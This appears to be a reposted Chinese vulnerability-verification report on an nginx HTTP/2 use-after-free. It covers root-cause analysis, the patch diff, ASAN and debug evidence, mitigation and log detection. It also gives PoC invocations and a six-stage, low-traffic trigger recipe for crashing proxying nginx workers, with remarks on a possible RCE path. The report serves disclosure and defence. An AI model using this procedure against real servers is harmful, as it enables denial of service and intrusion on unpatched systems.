|
项目 |
内容 |
|
目标宿主机 |
172.20.0.72(Ubuntu 22.04.5 LTS / kernel 5.15.0-119-generic x86_64 / 8 vCPU / 15 GB) |
|
平台支持 |
天枢一体化虚拟仿真平台 |
nginx 1.31.8 在 HTTP/2 + proxy_pass 场景下可 100% 稳定复现 heap-use-after-free(ASAN 精确栈 + worker SIGABRT/core),1.31.9 在同一 PoC 下不成立。

一、判定摘要
表1 现场判定结果
|
判定项 |
结果 |
|
受影响版本判定 |
nginx/1.31.8,落在 CVE-2026-123633 影响区间(1.9.5 – 1.31.8) |
|
触发前提 |
listen ... ssl; http2 on;(ALPN 实测 h2)+ proxy_pass 上游 + 可耗尽 worker_connections |
二、情报基线
- CVE-2026-123633:ngx_http_v2_module 中 HTTP/2 连接生命周期错误(CWE-416 use-after-free)。连接在“不完整帧(state.incomplete)”状态下被标记为 reusable 并挂入 ngx_cycle->reusable_connections_queue;随后补帧创建 stream、processing++,但(1.31.8)没有把连接从 reusable 队列摘除。当 worker 的空闲连接被耗尽,ngx_drain_connections() 会把这条“仍可回收”的活跃连接当成空闲连接关闭,而该连接上正在处理的请求(proxy_pass → upstream 连接)随后继续使用已释放的 request pool。
- 影响版本:1.9.5 – 1.31.8;修复:1.30.7(stable)/ 1.31.9(mainline),2026-11-18 发布。
- 同批修复:CVE-2026-123007(HTTP/2 流控整数下溢)、CVE-2026-121810(HTTP/3 UAF)、CVE-2026-123634(resolver+SSI/mirror UAF)、CVE-2026-113425(mail proxy UAF)。
修复差异(1.31.8 → 1.31.9,src/http/v2/ngx_http_v2.c):
@@ -3192,6 +3192,8 @@ ngx_http_v2_create_stream(ngx_http_v2_connection_t *h2c)
h2c->processing++;
+ ngx_reusable_connection(h2c->connection, 0);
+
if (h2c->connection->read->timer_set) {
ngx_del_timer(h2c->connection->read);
}
同一 diff 中的另两处(SETTINGS ACK 位判断、send_queued 流控记账)属于 CVE-2026-123007。
三、根因(源码级,1.31.8)
3.1 连接被挂上 reusable 队列(入口)
ngx_http_v2_handle_connection()(ngx_http_v2.c:622):
if (h2c->last_out || h2c->processing) return; /* 有活动就跳过 */
...
ngx_reusable_connection(c, 1); /* ← 先入队 */
if (h2c->state.incomplete) return; /* ← 半帧状态直接返回,pool 保留 */
ngx_destroy_pool(h2c->pool); h2c->frames = 0; /* 只有完整帧才重置 */
c->read->handler = ngx_http_v2_idle_handler;
客户端只发 6 字节帧头(< 9 字节 HTTP/2 帧头)时,ngx_http_v2_state_save() 置 state.incomplete = 1,读事件收尾正好走进上面分支:连接进入 reusable 队列,h2c->pool 与 frames 计数都不重置,read->handler 仍是 ngx_http_v2_read_handler。
3.2 补帧后漏洞成立
ngx_http_v2_create_stream()(1.31.8 缺失的那行):h2c->processing++ 之后没有 ngx_reusable_connection(c, 0)。于是一条正在处理请求的连接同时躺在“空闲可回收”队列里。
3.3 drain 命中活跃连接(触发)
ngx_drain_connections()(ngx_connection.c:1405):
if (cycle->free_connection_n > cycle->connection_n / 16
|| cycle->reusable_connections_n == 0) return; /* 阈值 */
q = ngx_queue_last(&cycle->reusable_connections_queue); /* 最早入队 = 攻击连接 */
c = ngx_queue_data(q, ngx_connection_t, queue);
c->close = 1;
c->read->handler(c->read); /* 同步重入 read_handler */
worker_connections 10 时阈值 10/16 = 0,只要 free_connection_n == 0 就 drain。proxy_pass 建立 upstream 连接时正是 ngx_get_connection() 里调用 drain(ngx_connection.c:1223)。
3.4 收尾:把在途请求一起关掉(UAF)
ngx_http_v2_read_handler()(ngx_http_v2.c:356)在 c->close 分支:
if (c->close) {
c->close = 0;
if (c->error) { ngx_http_v2_finalize_connection(h2c, 0); return; }
if (!h2c->processing) { ... }
if (!h2c->goaway) {
h2c->goaway = 1;
if (ngx_http_v2_send_goaway(h2c, NGX_HTTP_V2_NO_ERROR) == NGX_ERROR) {
ngx_http_v2_finalize_connection(h2c, 0); /* ← 帧池耗尽走这里 */
return;
}
send_goaway() 需要 ngx_http_v2_get_frame();当 h2c->frames 已达上限且 free_frames == NULL 时失败,打 http2 flood detected 并置 c->error = 1,随后 finalize_connection() 遍历 h2c->streams_index:
ev->eof = 1; ev->handler(ev);
→ ngx_http_v2_close_stream() → ngx_http_free_request(r) → ngx_destroy_pool(r->pool)
被关掉的 stream 里就包含当前正在 proxy_pass 的那个请求——此时栈还是 read_handler → state_headers → create_stream → run_request → proxy_handler → upstream_connect → ngx_get_connection → drain → read_handler(重入) → finalize。返回后 ngx_event_connect_peer() 继续读 r(已释放)→ use-after-free。
4 验证环境
表2 四个构建实例对照
|
标签 |
版本 |
源码 |
构建差异 |
端口 |
|
n158 |
1.31.8 |
原样(h2c->frames < 10000) |
-O1 -g -fsanitize=address |
8462 |
|
n159 |
1.31.9 |
原样 |
同上 |
8463 |
|
a158 |
1.31.8 |
仅把 10000 换成宏 |
-DNGX_HTTP_V2_MAX_FRAMES=90 + ASAN |
8460 |
|
a159 |
1.31.9 |
同上 |
同上 |
8461 |
公共条件:
- worker_connections 10; multi_accept off;,http2 on,TLS1.2/1.3,/big = 512 KiB 静态文件,/slow → proxy_pass http://127.0.0.1:8081(Python 黑洞上游,accept 后永不应答)。
- 使输出帧滞留:net.ipv4.tcp_wmem="4096 8192 16384" + 客户端 SO_RCVBUF=2048(帧写不出去就不会回收到 free_frames,h2c->frames 才能累积到上限)。实验结束已恢复默认。
- 构建指纹与 sha256 见 evidence/07-builds.txt;配置见 evidence/08a–08c。
5 复现步骤(PoC:evidence)
# 原样 1.31.8(帧上限 10000)
python3 poc2.py --port 8462 --occ 7 --big 0 --pings 9994 --slow 2 --hold 2
# 加速 1.31.8(帧上限 90)
python3 poc2.py --port 8460 --occ 7 --big 9 --pings 12 --slow 2 --hold 2
六个阶段:
- 占槽:7 条占位 HTTP/2 连接(INITIAL_WINDOW_SIZE=1 + 挂起的 /big 请求),processing > 0 使它们不会进入 reusable 队列,只把 free_connection_n 压到接近 0。
- 入队:攻击连接 TLS 后发 preface + SETTINGS,耗尽输出队列(c->buffered == 0),再单独发 6 字节截断 HEADERS → state.incomplete=1 → handle_connection() → ngx_reusable_connection(c,1)(日志 reusable connection: 1 + http2 frame state save)。
- 创建 stream:补发剩余 3 字节帧头 + header block → create_stream(),processing=1,连接仍在 reusable 队列(1.31.8 缺陷点)。
- 填满帧池:pings=9994 个 PING,每个 ACK 占 1 个 out-frame(或 big=9 个 /big,每个 8 帧 + 1 个 HEADERS),使 h2c->frames 精确到达上限(gdb 实测 frames=10000 free=(nil))。
- 触发 drain:发 /slow。proxy_pass → ngx_get_connection() → free_connection_n==0 → ngx_drain_connections() → 取 reusable 队列尾(= 攻击连接)→ c->close=1 → 同步重入 ngx_http_v2_read_handler()。
- UAF:重入路径 send_goaway() 因帧池耗尽失败(http2 flood detected)→ finalize_connection() → 关闭包含当前 /slow 在内的所有 stream → ngx_http_free_request() 销毁 request pool → 回到 ngx_event_connect_peer() 读已释放内存。
帧数标定:h2c->frames 只在新分配时 ++、在 close_stream 时 -= stream->frames,发送完成回收到 free_frames 不减少计数。实测 frames = 6 + pings(前 2 个 PING ACK 被回收),故 pings=9994 恰好停在 10000。
六、证据
6.1 ASAN:heap-use-after-free(原样 1.31.8)
==213378==ERROR: AddressSanitizer: heap-use-after-free on address 0x52100028f9fc
READ of size 4 at 0x52100028f9fc thread T0
#0 ngx_event_connect_peer src/event/ngx_event_connect.c:66
#1 ngx_http_upstream_connect src/http/ngx_http_upstream.c:1606
#2 ngx_http_upstream_init_request src/http/ngx_http_upstream.c:868
#3 ngx_http_upstream_init src/http/ngx_http_upstream.c:560
#4 ngx_http_read_client_request_body src/http/ngx_http_request_body.c:84
#5 ngx_http_proxy_handler src/http/modules/ngx_http_proxy_module.c:970
#6 ngx_http_core_content_phase src/http/ngx_http_core_module.c:1311
#7 ngx_http_core_run_phases src/http/ngx_http_core_module.c:906
#8 ngx_http_handler src/http/ngx_http_core_module.c:889
#9 ngx_http_process_request src/http/ngx_http_request.c:2217
#10 ngx_http_v2_run_request src/http/v2/ngx_http_v2.c:4097
#11 ngx_http_v2_state_header_complete src/http/v2/ngx_http_v2.c:1912
#12 ngx_http_v2_state_process_header src/http/v2/ngx_http_v2.c:1876
#13 ngx_http_v2_state_field_raw src/http/v2/ngx_http_v2.c:1639
#14 ngx_http_v2_state_field_len src/http/v2/ngx_http_v2.c:1555
#15 ngx_http_v2_state_header_block src/http/v2/ngx_http_v2.c:1468
#16 ngx_http_v2_read_handler src/http/v2/ngx_http_v2.c:422
freed by thread T0 here:
#1 ngx_destroy_pool src/core/ngx_palloc.c:90
#2 ngx_http_free_request src/http/ngx_http_request.c:4071
#3 ngx_http_v2_close_stream src/http/v2/ngx_http_v2.c:4768
#4 ngx_http_close_request src/http/ngx_http_request.c:3970
#5 ngx_http_terminate_handler src/http/ngx_http_request.c:2994
#6 ngx_http_run_posted_requests src/http/ngx_http_request.c:2708
#7 ngx_http_request_handler src/http/ngx_http_request.c:2676
#8 ngx_http_v2_finalize_connection src/http/v2/ngx_http_v2.c:5021 ← finalize
#9 ngx_http_v2_read_handler src/http/v2/ngx_http_v2.c:375 ← c->close 分支
#10 ngx_drain_connections src/core/ngx_connection.c:1441 ← 重入来源
#11 ngx_get_connection src/core/ngx_connection.c:1223
#12 ngx_event_connect_peer src/event/ngx_event_connect.c:53
SUMMARY: AddressSanitizer: heap-use-after-free src/event/ngx_event_connect.c:66 in ngx_event_connect_peer
==213378==ABORTING
“读”栈与“释放”栈共享同一 ngx_event_connect_peer → upstream_connect → proxy 前缀,只差 drain 重入的那一段,正是本 CVE 的形状。加速构建(a158,帧上限 90)产出完全相同的报告:evidence/02。
6.2 帧池标定(gdb)
GETFRAME frames=9999 free=(nil)
GOAWAY frames=10000 free=(nil) processing=2 reusable=1 ← 帧池已满且连接仍 reusable
GETFRAME frames=10000 free=(nil) ← GOAWAY 分配失败
Program received signal SIGABRT, Aborted.
reusable=1 就是修复版不会出现的状态:有在途请求(processing=2)却仍在可回收队列里。
6.3 状态机时序(debug 日志)
*16 reusable connection: 1 ← 截断 HEADERS 后入队
*16 http2 frame state save ... ← state.incomplete=1
*16 reusable connection: 1 ← 补帧 create_stream 后仍在队列(缺陷)
*16 http2 read handler
10 worker_connections are not enough, reusing connections
*16 reusing connection ← drain 选中攻击连接
*16 http2 read handler ← 同步重入
*16 http2 send GOAWAY frame: last sid 21, error 0
*16 http2 flood detected ← 帧池耗尽,分配失败
*16 http2 close stream 21, queued 0, processing 1 ← 正在处理的 /slow 被关闭
6.4 修复版对照(n159)
[alert] *8 10 worker_connections are not enough while connecting to upstream,
request: "GET /slow HTTP/2.0"
[info] *8 http2 flood detected while processing HTTP/2 connection
- 无 reusing connection / reusing connections
- 无 send GOAWAY(drain 根本选不中,因为 create_stream() 已把连接摘出队列)
- 无 ASAN 报告,worker 存活
6.5 稳定性
原样 1.31.8 连续 3 次:每次都 SUMMARY: heap-use-after-free ... ngx_event_connect_peer + worker process exited on signal 6 (core dumped)(master 立即重建 worker)。加速构建同样命中。
七、 影响面与利用维度
- 攻击面:任何“TLS + HTTP/2 + proxy_pass”的 nginx 1.9.5–1.31.8。纯静态站点不满足 proxy_pass 条件,但绝大多数反向代理/网关/API 网关都满足。
- 无认证、无用户交互,仅需一个能建立 TCP 连接的客户端。
- 低门槛 DoS:worker SIGABRT,反复触发即持续掉 worker(本次已复现 3 次 + 若干)。
- 潜在 RCE 路径:UAF 对象是 ngx_http_request_t 所在的 request pool(4096 字节块内偏移 2300),配合 proxy_pass 上游可控 + 请求头可控,可做堆喷/元数据覆写研究;本次验证只做到“精确 UAF + 进程崩溃”,未做 RCE 偏移与堆布局利用。
- 真实流量代价很低:因为可以用 PING 帧消耗 out-frame 配额,填满默认 10000 帧只需要约 170 KB 请求数据(9994 × 17 B),不需要公网 PoC 所述的百 GB 流量——这是本次验证相对公开分析的关键改进(/big 流方案则约 1250 个流 × 64 KiB 响应窗口)。
八、修复与检测
表3 修复与检测要点
|
项 |
内容 |
|
修复版本 |
1.30.7(stable)/ 1.31.9(mainline);补丁核心一行 ngx_reusable_connection(h2c->connection, 0);(ngx_http_v2_create_stream) |
|
缓解(不能替代升级) |
不把 proxy_pass 指向会挂起的上游;worker_connections 调大(drain 阈值 connection_n/16 随之变大,抬高利用门槛);限制 http2_max_concurrent_streams |
|
日志检测 |
同一连接同时出现 worker_connections are not enough, reusing connections + http2 flood detected;worker signal 6 (core dumped);reusable connection: 1 后紧跟 http2 flood detected |
|
运行时可观测 |
ngx_http_v2_create_stream 后 c->reusable 应为 0(可用 gdb/探针断言) |
九、结论
CVE-2026-123633 在 172.20.0.72 上成立。
证据链闭合:不变量失效(reusable=1 + processing=2)→ drain 重入(reusing connection → read handler)→ 帧池耗尽(GOAWAY frames=10000 → flood detected)→ finalize 关闭在途请求(close stream 21)→ ngx_event_connect_peer 读已释放 pool(ASAN heap-use-after-free)→ worker SIGABRT。原样源码构建即可复现,修复版 1.31.9 在同 PoC 下完全无此行为。
转载自 CSDN-专业IT技术社区
原文链接:https://blog.csdn.net/lightningyang/article/details/171372460




